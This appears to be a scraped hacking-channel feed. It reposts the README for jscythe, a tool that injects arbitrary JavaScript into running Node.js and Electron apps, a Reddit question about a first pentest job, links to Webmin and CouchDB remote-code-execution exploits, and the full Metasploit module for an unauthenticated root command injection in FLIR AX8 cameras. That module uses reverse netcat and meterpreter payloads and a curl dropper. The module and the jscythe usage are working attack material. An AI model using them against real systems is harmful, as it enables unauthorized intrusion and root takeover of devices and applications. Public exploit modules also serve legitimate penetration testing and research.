Hacking Articles Tips Tricks Videos Tutorials

jscythe abuses the node.js inspector mechanism (https://nodejs.org/en/docs/guides/debugging-getting-started/) in order to force any node.js/electron/v8 based process to execute arbitrary javascript code, even if their debugging (https://www.kitploit.com/search/label/Debugging) capabilities are disabled. Tested and working against Visual Studio Code, Discord, any Node.js application and more! How Locate the target process. Send SIGUSR1 signal to the process, this will enable the debugger (https://www.kitploit.com/search/label/Debugger) on a port (depending on the software, sometimes it's random, sometimes it's not). Determine debugging port by diffing open ports (https://www.kitploit.com/search/label/Open%20Ports) before and after sending SIGUSR1. Get the websocket (https://www.kitploit.com/search/label/WebSocket) debugging URL and session id from http://localhost:/json. Send a Runtime.evaluate request with the provided code. Profit. Building cargo build --release Running Target a specific process and execute a basic expression: ./target/debug/jscythe --pid 666 --code "5 - 3 + 2" Execute code from a file: ./target/debug/jscythe --pid 666 --script example_script.js The example_script.js can require any node module and execute any code, like: require('child_process').spawnSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator', { encoding (https://www.kitploit.com/search/label/Encoding) : 'utf8' }).stdout Search process by expression: ./target/debug/jscythe --search extensionHost --script example_script.js Other options Run jscythe --help for the complete list of options. License This project is made with ♥ by @evilsocket (https://twitter.com/evilsocket) and it is released under the GPL3 license.
Download Jscythe (https://github.com/evilsocket/jscythe)

___________________________
@hacking_Attack
@Hacking_Video

8 viewsedited 14:03

Any tips for how to conduct first pentest gig?
https://www.reddit.com/r/Pentesting/comments/yk2ga1/any_tips_for_how_to_conduct_first_pentest_gig/

Hi, I've recently passed OSCP/CEH and have been asked by a friend who owns a small company to conduct a web app pentesting for them. I need to submit a proposal for them to review. This will be my first pentest gig so I have no prior experience, which also means I don't know what is expected in such proposals. Would anyone be able to help me with following questions I have? What should the proposal look like and what information should it encompass (type of test to conduct? Estimated time taken?)? What info do I need from client side in order for me to formulate this (e.g. scope / rules of engagement)? I imagine one also needs to look at the scale of web app in order to determine how long it takes to conduct the test and therefore before I can put together a proposal? I understand pentesting is different to CTF, as one needs to be more thorough with pentesting to find all vulnerabilities rather than to find the 1 vulnerability to exploit to capture the flag. How does one make sure that it is conducted thoroughly? Do you try to test every aspect of OWASP 10 on every aspect of the web app? I imagine pentesters use vulnerability scanners to assist them to be "thorough" but what are the scanners pentesters use for this? As I was trained in the OSCP framework, I don't know much about different scanners. I know only of Nikto, Nessus.. in addition to nmap scripts. With regards to reporting at the end, how does one determine the severity of the vulnerabilities found? Is this normally just the severity given to them in CVE / CWE? Or should it be a product of that and the consequence it has to the specific client? Any advices/guidances would be helpful and are greatly appreciated!! submitted by /u/afp_chx (https://www.reddit.com/user/afp_chx)
[link] (https://www.reddit.com/r/Pentesting/comments/yk2ga1/any_tips_for_how_to_conduct_first_pentest_gig/) [comments] (https://www.reddit.com/r/Pentesting/comments/yk2ga1/any_tips_for_how_to_conduct_first_pentest_gig/)

___________________________
@hacking_Attack
@Hacking_Video

Any tips for how to conduct first pentest gig?

Hi, I've recently passed OSCP/CEH and have been asked by a friend who owns a small company to conduct a web app pentesting for them. I need to...

10 viewsedited 14:06

Hacking Articles Tips Tricks Videos Tutorials

8 views14:40

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
Extracting Firmware from Linux Router using the U-Boot Bootloader and UART

https://external-preview.redd.it/ib4B1J_mx0_stVGxa33Kk3vWZ6uc_sbw7Su3TxPdZfc.jpg?width=320&crop=smart&auto=webp&s=7c36e1714ea61935e3bbde813e42cdfce0946155 submitted by /u/bladehax
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Extracting Firmware from Linux Router using the U-Boot Bootloader...

Posted in r/hacking by u/bladehax • 1 point and 0 comments

9 viewsedited 14:40

Hacking Articles Tips Tricks Videos Tutorials

Bug Bounty / Cybersecurity Resource Management Guide

thebinarybotContinue reading on Medium »
Read more...

8 views14:44

Hacking Articles Tips Tricks Videos Tutorials

8 views15:51

Hacking Articles Tips Tricks Videos Tutorials

8 views15:51

Hacking Articles Tips Tricks Videos Tutorials

8 views15:51

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Webmin 1.984 File Manager Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Webmin 1.984 File Manager Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 15:51

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Apache CouchDB Erlang Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Apache CouchDB Erlang Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 15:51

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
FLIR AX8 1.46.16 Remote Command Injection

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png All FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to remote command injection. This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter in the res.php endpoint. This module uses the vulnerability to upload and execute payloads gaining root privileges.

SHA-256 | a321cd3e8960e684cbab1cd82bb0f9be0cda474af87c57e7f89fa9aaa83b6bcaDownload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FLIR AX8 unauthenticated RCE',
'Description' => %q{
All FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to Remote Command Injection.
This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter
in the res.php endpoint.

This module uses the vulnerability to upload and execute payloads gaining root privileges.
},
'License' => MSF_LICENSE,
'Author' => [
'Thomas Knudsen (https://www.linkedin.com/in/thomasjknudsen)', # Security researcher
'Samy Younsi (https://www.linkedin.com/in/samy-younsi)', # Security researcher
'h00die-gr3y' # metasploit module
],
'References' => [
['CVE', '2022-37061'],
['PACKETSTORM', '168114'],
['URL', 'https://attackerkb.com/topics/UAZaDsQBfx/cve-2022-37061'],
],
'DisclosureDate' => '2022-08-19',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'curl', 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
end

def execute_command(cmd, _opts = {})
action_id = rand(1..40)
return send_request_cgi({
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'uri' => normalize_uri(target_uri.path, 'res.php'),
'vars_post' => {
'action' => 'alarm',
'id' => "#{action_id};#{cmd}"
}
})
rescue StandardError => e
elog("#{peer} - Communication error occurred: #{e.message}", error: e)
print_error("Communication error occurred: #{e.message}")
return nil
end

# Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution
def check
print_status("Checking if #{peer} can be exploited!")
sleep_time = rand(5..10)
print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
res, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}")
end

return Exploit::CheckCode::Unknown('No response received from the target!') unless res

print_status("Elapsed time: #{elapsed_time} seconds.")
return CheckCode::Safe('Failed to test command injection.') unless elapsed_time >= sleep_time

CheckCode::Vulnerable('Successfully tested command injection.')
end

def exploit
case target['Type']
when :unix_cmd
print_status("Executing #{target.name} with #{payload.encoded}")
execute_command(payload.encoded)
when :linux_dropper
print_status("Executing #{target.name}")
execute_cmdstager
end
end
end